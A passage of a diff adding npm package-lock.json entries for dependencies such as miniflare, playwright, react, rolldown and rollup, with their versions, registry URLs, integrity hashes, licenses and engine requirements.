"resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
3164
+
"integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
3165
+
"dev": true,
3166
+
"hasInstallScript": true,
3167
+
"license": "MIT",
3168
+
"optional": true,
3169
+
"os": [
3170
+
"darwin"
3171
+
],
3172
+
"engines": {
3173
+
"node": "^8.16.0 || ^10.6.0 || >=11.0.0"
3174
+
}
3175
+
},
3176
+
"node_modules/gensync": {
3177
+
"version": "1.0.0-beta.2",
3178
+
"resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
3179
+
"integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
3180
+
"dev": true,
3181
+
"license": "MIT",
3182
+
"engines": {
3183
+
"node": ">=6.9.0"
3184
+
}
3185
+
},
3186
+
"node_modules/glob-to-regexp": {
3187
+
"version": "0.4.1",
3188
+
"resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz",
3189
+
"integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==",
3190
+
"license": "BSD-2-Clause"
3191
+
},
3192
+
"node_modules/graceful-fs": {
3193
+
"version": "4.2.11",
3194
+
"resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
3195
+
"integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
3196
+
"license": "ISC",
3197
+
"peer": true
3198
+
},
3199
+
"node_modules/has-flag": {
3200
+
"version": "4.0.0",
3201
+
"resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
3202
+
"integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
3203
+
"license": "MIT",
3204
+
"peer": true,
3205
+
"engines": {
3206
+
"node": ">=8"
3207
+
}
3208
+
},
3209
+
"node_modules/is-arrayish": {
3210
+
"version": "0.3.4",
3211
+
"resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.4.tgz",
3212
+
"integrity": "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA==",
3213
+
"dev": true,
3214
+
"license": "MIT"
3215
+
},
3216
+
"node_modules/jest-worker": {
3217
+
"version": "27.5.1",
3218
+
"resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz",
3219
+
"integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==",
3220
+
"license": "MIT",
3221
+
"peer": true,
3222
+
"dependencies": {
3223
+
"@types/node": "*",
3224
+
"merge-stream": "^2.0.0",
3225
+
"supports-color": "^8.0.0"
3226
+
},
3227
+
"engines": {
3228
+
"node": ">= 10.13.0"
3229
+
}
3230
+
},
3231
+
"node_modules/js-tokens": {
3232
+
"version": "4.0.0",
3233
+
"resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
3234
+
"integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
3235
+
"dev": true,
3236
+
"license": "MIT"
3237
+
},
3238
+
"node_modules/jsesc": {
3239
+
"version": "3.1.0",
3240
+
"resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
3241
+
"integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==",
3242
+
"dev": true,
3243
+
"license": "MIT",
3244
+
"bin": {
3245
+
"jsesc": "bin/jsesc"
3246
+
},
3247
+
"engines": {
3248
+
"node": ">=6"
3249
+
}
3250
+
},
3251
+
"node_modules/json-parse-even-better-errors": {
3252
+
"version": "2.3.1",
3253
+
"resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
3254
+
"integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==",
3255
+
"license": "MIT",
3256
+
"peer": true
3257
+
},
3258
+
"node_modules/json-schema-traverse": {
3259
+
"version": "1.0.0",
3260
+
"resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
3261
+
"integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
3262
+
"license": "MIT",
3263
+
"peer": true
3264
+
},
3265
+
"node_modules/json5": {
3266
+
"version": "2.2.3",
3267
+
"resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
3268
+
"integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
3269
+
"dev": true,
3270
+
"license": "MIT",
3271
+
"bin": {
3272
+
"json5": "lib/cli.js"
3273
+
},
3274
+
"engines": {
3275
+
"node": ">=6"
3276
+
}
3277
+
},
3278
+
"node_modules/kleur": {
3279
+
"version": "4.1.5",
3280
+
"resolved": "https://registry.npmjs.org/kleur/-/kleur-4.1.5.tgz",
3281
+
"integrity": "sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==",
3282
+
"dev": true,
3283
+
"license": "MIT",
3284
+
"engines": {
3285
+
"node": ">=6"
3286
+
}
3287
+
},
3288
+
"node_modules/loader-runner": {
3289
+
"version": "4.3.1",
3290
+
"resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.1.tgz",
3291
+
"integrity": "sha512-IWqP2SCPhyVFTBtRcgMHdzlf9ul25NwaFx4wCEH/KjAXuuHY4yNjvPXsBokp8jCB936PyWRaPKUNh8NvylLp2Q==",
3292
+
"license": "MIT",
3293
+
"peer": true,
3294
+
"engines": {
3295
+
"node": ">=6.11.5"
3296
+
},
3297
+
"funding": {
3298
+
"type": "opencollective",
3299
+
"url": "https://opencollective.com/webpack"
3300
+
}
3301
+
},
3302
+
"node_modules/lru-cache": {
3303
+
"version": "5.1.1",
3304
+
"resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
3305
+
"integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
3306
+
"dev": true,
3307
+
"license": "ISC",
3308
+
"dependencies": {
3309
+
"yallist": "^3.0.2"
3310
+
}
3311
+
},
3312
+
"node_modules/magic-string": {
3313
+
"version": "0.30.21",
3314
+
"resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz",
3315
+
"integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==",
3316
+
"dev": true,
3317
+
"license": "MIT",
3318
+
"dependencies": {
3319
+
"@jridgewell/sourcemap-codec": "^1.5.5"
3320
+
}
3321
+
},
3322
+
"node_modules/merge-stream": {
3323
+
"version": "2.0.0",
3324
+
"resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
3325
+
"integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==",
3326
+
"license": "MIT",
3327
+
"peer": true
3328
+
},
3329
+
"node_modules/mime-db": {
3330
+
"version": "1.52.0",
3331
+
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
3332
+
"integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
3333
+
"license": "MIT",
3334
+
"peer": true,
3335
+
"engines": {
3336
+
"node": ">= 0.6"
3337
+
}
3338
+
},
3339
+
"node_modules/mime-types": {
3340
+
"version": "2.1.35",
3341
+
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
3342
+
"integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
3343
+
"license": "MIT",
3344
+
"peer": true,
3345
+
"dependencies": {
3346
+
"mime-db": "1.52.0"
3347
+
},
3348
+
"engines": {
3349
+
"node": ">= 0.6"
3350
+
}
3351
+
},
3352
+
"node_modules/miniflare": {
3353
+
"version": "4.20251210.0",
3354
+
"resolved": "https://registry.npmjs.org/miniflare/-/miniflare-4.20251210.0.tgz",
3355
+
"integrity": "sha512-k6kIoXwGVqlPZb0hcn+X7BmnK+8BjIIkusQPY22kCo2RaQJ/LzAjtxHQdGXerlHSnJyQivDQsL6BJHMpQfUFyw==",
3356
+
"dev": true,
3357
+
"license": "MIT",
3358
+
"dependencies": {
3359
+
"@cspotcode/source-map-support": "0.8.1",
3360
+
"acorn": "8.14.0",
3361
+
"acorn-walk": "8.3.2",
3362
+
"exit-hook": "2.2.1",
3363
+
"glob-to-regexp": "0.4.1",
3364
+
"sharp": "^0.33.5",
3365
+
"stoppable": "1.1.0",
3366
+
"undici": "7.14.0",
3367
+
"workerd": "1.20251210.0",
3368
+
"ws": "8.18.0",
3369
+
"youch": "4.1.0-beta.10",
3370
+
"zod": "3.22.3"
3371
+
},
3372
+
"bin": {
3373
+
"miniflare": "bootstrap.js"
3374
+
},
3375
+
"engines": {
3376
+
"node": ">=18.0.0"
3377
+
}
3378
+
},
3379
+
"node_modules/miniflare/node_modules/acorn": {
3380
+
"version": "8.14.0",
3381
+
"resolved": "https://registry.npmjs.org/acorn/-/acorn-8.14.0.tgz",
3382
+
"integrity": "sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==",
3383
+
"dev": true,
3384
+
"license": "MIT",
3385
+
"bin": {
3386
+
"acorn": "bin/acorn"
3387
+
},
3388
+
"engines": {
3389
+
"node": ">=0.4.0"
3390
+
}
3391
+
},
3392
+
"node_modules/miniflare/node_modules/ws": {
3393
+
"version": "8.18.0",
3394
+
"resolved": "https://registry.npmjs.org/ws/-/ws-8.18.0.tgz",
3395
+
"integrity": "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==",
3396
+
"dev": true,
3397
+
"license": "MIT",
3398
+
"engines": {
3399
+
"node": ">=10.0.0"
3400
+
},
3401
+
"peerDependencies": {
3402
+
"bufferutil": "^4.0.1",
3403
+
"utf-8-validate": ">=5.0.2"
3404
+
},
3405
+
"peerDependenciesMeta": {
3406
+
"bufferutil": {
3407
+
"optional": true
3408
+
},
3409
+
"utf-8-validate": {
3410
+
"optional": true
3411
+
}
3412
+
}
3413
+
},
3414
+
"node_modules/mrmime": {
3415
+
"version": "2.0.1",
3416
+
"resolved": "https://registry.npmjs.org/mrmime/-/mrmime-2.0.1.tgz",
3417
+
"integrity": "sha512-Y3wQdFg2Va6etvQ5I82yUhGdsKrcYox6p7FfL1LbK2J4V01F9TGlepTIhnK24t7koZibmg82KGglhA1XK5IsLQ==",
3418
+
"dev": true,
3419
+
"license": "MIT",
3420
+
"engines": {
3421
+
"node": ">=10"
3422
+
}
3423
+
},
3424
+
"node_modules/ms": {
3425
+
"version": "2.1.3",
3426
+
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
3427
+
"integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
3428
+
"dev": true,
3429
+
"license": "MIT"
3430
+
},
3431
+
"node_modules/nanoid": {
3432
+
"version": "3.3.11",
3433
+
"resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
3434
+
"integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==",
3435
+
"dev": true,
3436
+
"funding": [
3437
+
{
3438
+
"type": "github",
3439
+
"url": "https://github.com/sponsors/ai"
3440
+
}
3441
+
],
3442
+
"license": "MIT",
3443
+
"bin": {
3444
+
"nanoid": "bin/nanoid.cjs"
3445
+
},
3446
+
"engines": {
3447
+
"node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
3448
+
}
3449
+
},
3450
+
"node_modules/neo-async": {
3451
+
"version": "2.6.2",
3452
+
"resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz",
3453
+
"integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==",
3454
+
"license": "MIT"
3455
+
},
3456
+
"node_modules/node-releases": {
3457
+
"version": "2.0.27",
3458
+
"resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz",
3459
+
"integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==",
3460
+
"license": "MIT"
3461
+
},
3462
+
"node_modules/obug": {
3463
+
"version": "2.1.1",
3464
+
"resolved": "https://registry.npmjs.org/obug/-/obug-2.1.1.tgz",
3465
+
"integrity": "sha512-uTqF9MuPraAQ+IsnPf366RG4cP9RtUi7MLO1N3KEc+wb0a6yKpeL0lmk2IB1jY5KHPAlTc6T/JRdC/YqxHNwkQ==",
3466
+
"dev": true,
3467
+
"funding": [
3468
+
"https://github.com/sponsors/sxzz",
3469
+
"https://opencollective.com/debug"
3470
+
],
3471
+
"license": "MIT"
3472
+
},
3473
+
"node_modules/pathe": {
3474
+
"version": "2.0.3",
3475
+
"resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz",
3476
+
"integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==",
3477
+
"dev": true,
3478
+
"license": "MIT"
3479
+
},
3480
+
"node_modules/picocolors": {
3481
+
"version": "1.1.1",
3482
+
"resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
3483
+
"integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
3484
+
"license": "ISC"
3485
+
},
3486
+
"node_modules/picomatch": {
3487
+
"version": "4.0.3",
3488
+
"resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
3489
+
"integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
3490
+
"dev": true,
3491
+
"license": "MIT",
3492
+
"engines": {
3493
+
"node": ">=12"
3494
+
},
3495
+
"funding": {
3496
+
"url": "https://github.com/sponsors/jonschlinkert"
3497
+
}
3498
+
},
3499
+
"node_modules/pixelmatch": {
3500
+
"version": "7.1.0",
3501
+
"resolved": "https://registry.npmjs.org/pixelmatch/-/pixelmatch-7.1.0.tgz",
3502
+
"integrity": "sha512-1wrVzJ2STrpmONHKBy228LM1b84msXDUoAzVEl0R8Mz4Ce6EPr+IVtxm8+yvrqLYMHswREkjYFaMxnyGnaY3Ng==",
3503
+
"dev": true,
3504
+
"license": "ISC",
3505
+
"dependencies": {
3506
+
"pngjs": "^7.0.0"
3507
+
},
3508
+
"bin": {
3509
+
"pixelmatch": "bin/pixelmatch"
3510
+
}
3511
+
},
3512
+
"node_modules/playwright": {
3513
+
"version": "1.57.0",
3514
+
"resolved": "https://registry.npmjs.org/playwright/-/playwright-1.57.0.tgz",
3515
+
"integrity": "sha512-ilYQj1s8sr2ppEJ2YVadYBN0Mb3mdo9J0wQ+UuDhzYqURwSoW4n1Xs5vs7ORwgDGmyEh33tRMeS8KhdkMoLXQw==",
3516
+
"dev": true,
3517
+
"license": "Apache-2.0",
3518
+
"dependencies": {
3519
+
"playwright-core": "1.57.0"
3520
+
},
3521
+
"bin": {
3522
+
"playwright": "cli.js"
3523
+
},
3524
+
"engines": {
3525
+
"node": ">=18"
3526
+
},
3527
+
"optionalDependencies": {
3528
+
"fsevents": "2.3.2"
3529
+
}
3530
+
},
3531
+
"node_modules/playwright-core": {
3532
+
"version": "1.57.0",
3533
+
"resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.57.0.tgz",
3534
+
"integrity": "sha512-agTcKlMw/mjBWOnD6kFZttAAGHgi/Nw0CZ2o6JqWSbMlI219lAFLZZCyqByTsvVAJq5XA5H8cA6PrvBRpBWEuQ==",
3535
+
"dev": true,
3536
+
"license": "Apache-2.0",
3537
+
"bin": {
3538
+
"playwright-core": "cli.js"
3539
+
},
3540
+
"engines": {
3541
+
"node": ">=18"
3542
+
}
3543
+
},
3544
+
"node_modules/pngjs": {
3545
+
"version": "7.0.0",
3546
+
"resolved": "https://registry.npmjs.org/pngjs/-/pngjs-7.0.0.tgz",
3547
+
"integrity": "sha512-LKWqWJRhstyYo9pGvgor/ivk2w94eSjE3RGVuzLGlr3NmD8bf7RcYGze1mNdEHRP6TRP6rMuDHk5t44hnTRyow==",
3548
+
"dev": true,
3549
+
"license": "MIT",
3550
+
"engines": {
3551
+
"node": ">=14.19.0"
3552
+
}
3553
+
},
3554
+
"node_modules/postcss": {
3555
+
"version": "8.5.6",
3556
+
"resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz",
3557
+
"integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==",
3558
+
"dev": true,
3559
+
"funding": [
3560
+
{
3561
+
"type": "opencollective",
3562
+
"url": "https://opencollective.com/postcss/"
3563
+
},
3564
+
{
3565
+
"type": "tidelift",
3566
+
"url": "https://tidelift.com/funding/github/npm/postcss"
3567
+
},
3568
+
{
3569
+
"type": "github",
3570
+
"url": "https://github.com/sponsors/ai"
3571
+
}
3572
+
],
3573
+
"license": "MIT",
3574
+
"dependencies": {
3575
+
"nanoid": "^3.3.11",
3576
+
"picocolors": "^1.1.1",
3577
+
"source-map-js": "^1.2.1"
3578
+
},
3579
+
"engines": {
3580
+
"node": "^10 || ^12 || >=14"
3581
+
}
3582
+
},
3583
+
"node_modules/randombytes": {
3584
+
"version": "2.1.0",
3585
+
"resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
3586
+
"integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
3587
+
"license": "MIT",
3588
+
"peer": true,
3589
+
"dependencies": {
3590
+
"safe-buffer": "^5.1.0"
3591
+
}
3592
+
},
3593
+
"node_modules/react": {
3594
+
"version": "19.2.3",
3595
+
"resolved": "https://registry.npmjs.org/react/-/react-19.2.3.tgz",
3596
+
"integrity": "sha512-Ku/hhYbVjOQnXDZFv2+RibmLFGwFdeeKHFcOTlrt7xplBnya5OGn/hIRDsqDiSUcfORsDC7MPxwork8jBwsIWA==",
3597
+
"license": "MIT",
3598
+
"engines": {
3599
+
"node": ">=0.10.0"
3600
+
}
3601
+
},
3602
+
"node_modules/react-dom": {
3603
+
"version": "19.2.3",
3604
+
"resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.3.tgz",
3605
+
"integrity": "sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg==",
3606
+
"license": "MIT",
3607
+
"dependencies": {
3608
+
"scheduler": "^0.27.0"
3609
+
},
3610
+
"peerDependencies": {
3611
+
"react": "^19.2.3"
3612
+
}
3613
+
},
3614
+
"node_modules/react-refresh": {
3615
+
"version": "0.18.0",
3616
+
"resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.18.0.tgz",
3617
+
"integrity": "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==",
3618
+
"dev": true,
3619
+
"license": "MIT",
3620
+
"engines": {
3621
+
"node": ">=0.10.0"
3622
+
}
3623
+
},
3624
+
"node_modules/react-server-dom-webpack": {
3625
+
"version": "19.2.3",
3626
+
"resolved": "https://registry.npmjs.org/react-server-dom-webpack/-/react-server-dom-webpack-19.2.3.tgz",
3627
+
"integrity": "sha512-ifo7aqqdNJyV6U2zuvvWX4rRQ51pbleuUFNG7ZYhIuSuWZzQPbfmYv11GNsyJm/3uGNbt8buJ9wmoISn/uOAfw==",
3628
+
"license": "MIT",
3629
+
"dependencies": {
3630
+
"acorn-loose": "^8.3.0",
3631
+
"neo-async": "^2.6.1",
3632
+
"webpack-sources": "^3.2.0"
3633
+
},
3634
+
"engines": {
3635
+
"node": ">=0.10.0"
3636
+
},
3637
+
"peerDependencies": {
3638
+
"react": "^19.2.3",
3639
+
"react-dom": "^19.2.3",
3640
+
"webpack": "^5.59.0"
3641
+
}
3642
+
},
3643
+
"node_modules/require-from-string": {
3644
+
"version": "2.0.2",
3645
+
"resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
3646
+
"integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
3647
+
"license": "MIT",
3648
+
"peer": true,
3649
+
"engines": {
3650
+
"node": ">=0.10.0"
3651
+
}
3652
+
},
3653
+
"node_modules/rolldown": {
3654
+
"version": "1.0.0-beta.54",
3655
+
"resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.0-beta.54.tgz",
3656
+
"integrity": "sha512-3lIvjCWgjPL3gmiATUdV1NeVBGJZy6FdtwgLPol25tAkn46Q/MsVGfCSNswXwFOxGrxglPaN20IeALSIFuFyEg==",
3657
+
"dev": true,
3658
+
"license": "MIT",
3659
+
"dependencies": {
3660
+
"@oxc-project/types": "=0.102.0",
3661
+
"@rolldown/pluginutils": "1.0.0-beta.54"
3662
+
},
3663
+
"bin": {
3664
+
"rolldown": "bin/cli.mjs"
3665
+
},
3666
+
"engines": {
3667
+
"node": "^20.19.0 || >=22.12.0"
3668
+
},
3669
+
"optionalDependencies": {
3670
+
"@rolldown/binding-android-arm64": "1.0.0-beta.54",
3671
+
"@rolldown/binding-darwin-arm64": "1.0.0-beta.54",
3672
+
"@rolldown/binding-darwin-x64": "1.0.0-beta.54",
3673
+
"@rolldown/binding-freebsd-x64": "1.0.0-beta.54",
3674
+
"@rolldown/binding-linux-arm-gnueabihf": "1.0.0-beta.54",
3675
+
"@rolldown/binding-linux-arm64-gnu": "1.0.0-beta.54",
3676
+
"@rolldown/binding-linux-arm64-musl": "1.0.0-beta.54",
3677
+
"@rolldown/binding-linux-x64-gnu": "1.0.0-beta.54",
3678
+
"@rolldown/binding-linux-x64-musl": "1.0.0-beta.54",
3679
+
"@rolldown/binding-openharmony-arm64": "1.0.0-beta.54",
3680
+
"@rolldown/binding-wasm32-wasi": "1.0.0-beta.54",
3681
+
"@rolldown/binding-win32-arm64-msvc": "1.0.0-beta.54",
3682
+
"@rolldown/binding-win32-x64-msvc": "1.0.0-beta.54"
3683
+
}
3684
+
},
3685
+
"node_modules/rolldown/node_modules/@rolldown/pluginutils": {
3686
+
"version": "1.0.0-beta.54",
3687
+
"resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.54.tgz",
3688
+
"integrity": "sha512-AHgcZ+w7RIRZ65ihSQL8YuoKcpD9Scew4sEeP1BBUT9QdTo6KjwHrZZXjID6nL10fhKessCH6OPany2QKwAwTQ==",
3689
+
"dev": true,
3690
+
"license": "MIT"
3691
+
},
3692
+
"node_modules/rollup": {
3693
+
"version": "4.53.4",
3694
+
"resolved": "https://registry.npmjs.org/rollup/-/rollup-4.53.4.tgz",
3695
+
"integrity": "sha512-YpXaaArg0MvrnJpvduEDYIp7uGOqKXbH9NsHGQ6SxKCOsNAjZF018MmxefFUulVP2KLtiGw1UvZbr+/ekjvlDg==",
3696
+
"dev": true,
3697
+
"license": "MIT",
3698
+
"dependencies": {
3699
+
"@types/estree": "1.0.8"
3700
+
},
3701
+
"bin": {
3702
+
"rollup": "dist/bin/rollup"
3703
+
},
3704
+
"engines": {
3705
+
"node": ">=18.0.0",
3706
+
"npm": ">=8.0.0"
3707
+
},
3708
+
"optionalDependencies": {
3709
+
"@rollup/rollup-android-arm-eabi": "4.53.4",
3710
+
"@rollup/rollup-android-arm64": "4.53.4",
3711
+
"@rollup/rollup-darwin-arm64": "4.53.4",
3712
+
"@rollup/rollup-darwin-x64": "4.53.4",
3713
+
"@rollup/rollup-freebsd-arm64": "4.53.4",
3714
+
"@rollup/rollup-freebsd-x64": "4.53.4",
3715
+
"@rollup/rollup-linux-arm-gnueabihf": "4.53.4",
3716
+
"@rollup/rollup-linux-arm-musleabihf": "4.53.4",
3717
+
"@rollup/rollup-linux-arm64-gnu": "4.53.4",
3718
+
"@rollup/rollup-linux-arm64-musl": "4.53.4",
3719
+
"@rollup/rollup-linux-loong64-gnu": "4.53.4",
3720
+
"@rollup/rollup-linux-ppc64-gnu": "4.53.4",
3721
+
"@rollup/rollup-linux-riscv64-gnu": "4.53.4",
3722
+
"@rollup/rollup-linux-riscv64-musl": "4.53.4",
3723
+
"@rollup/rollup-linux-s390x-gnu": "4.53.4",
3724
+
"@rollup/rollup-linux-x64-gnu": "4.53.4",
3725
+
"@rollup/rollup-linux-x64-musl": "4.53.4",
3726
+
"@rollup/rollup-openharmony-arm64": "4.53.4",
3727
+
"@rollup/rollup-win32-arm64-msvc": "4.53.4",
3728
+
"@rollup/rollup-win32-ia32-msvc": "4.53.4",
3729
+
"@rollup/rollup-win32-x64-gnu": "4.53.4",
3730
+
"@rollup/rollup-win32-x64-msvc": "4.53.4",
3731
+
"fsevents": "~2.3.2"
3732
+
}
3733
+
},
3734
+
"node_modules/safe-buffer": {
3735
+
"version": "5.2.1",
3736
+
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
3737
+
"integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
3738
+
"funding": [
3739
+
{
3740
+
"type": "github",
3741
+
"url": "https://github.com/sponsors/feross"
3742
+
},
3743
+
{
3744
+
"type": "patreon",
3745
+
"url": "https://www.patreon.com/feross"
3746
+
},
3747
+
{
3748
+
"type": "consulting",
3749
+
"url": "https://feross.org/support"
3750
+
}
3751
+
],
3752
+
"license": "MIT",
3753
+
"peer": true
3754
+
},
3755
+
"node_modules/scheduler": {
3756
+
"version": "0.27.0",
3757
+
"resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz",
3758
+
"integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==",
3759
+
"license": "MIT"
3760
+
},
3761
+
"node_modules/schema-utils": {
3762
+
"version": "4.3.3",
3763
+
"resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.3.3.tgz",
3764
+
"integrity": "sha512-eflK8wEtyOE6+hsaRVPxvUKYCpRgzLqDTb8krvAsRIwOGlHoSgYLgBXoubGgLd2fT41/OUYdb48v4k4WWHQurA==",
3765
+
"license": "MIT",
3766
+
"peer": true,
3767
+
"dependencies": {
3768
+
"@types/json-schema": "^7.0.9",
3769
+
"ajv": "^8.9.0",
3770
+
"ajv-formats": "^2.1.1",
3771
+
"ajv-keywords": "^5.1.0"
3772
+
},
3773
+
"engines": {
3774
+
"node": ">= 10.13.0"
3775
+
},
3776
+
"funding": {
3777
+
"type": "opencollective",
3778
+
"url": "https://opencollective.com/webpack"
3779
+
}
3780
+
},
3781
+
"node_modules/semver": {
3782
+
"version": "6.3.1",
3783
+
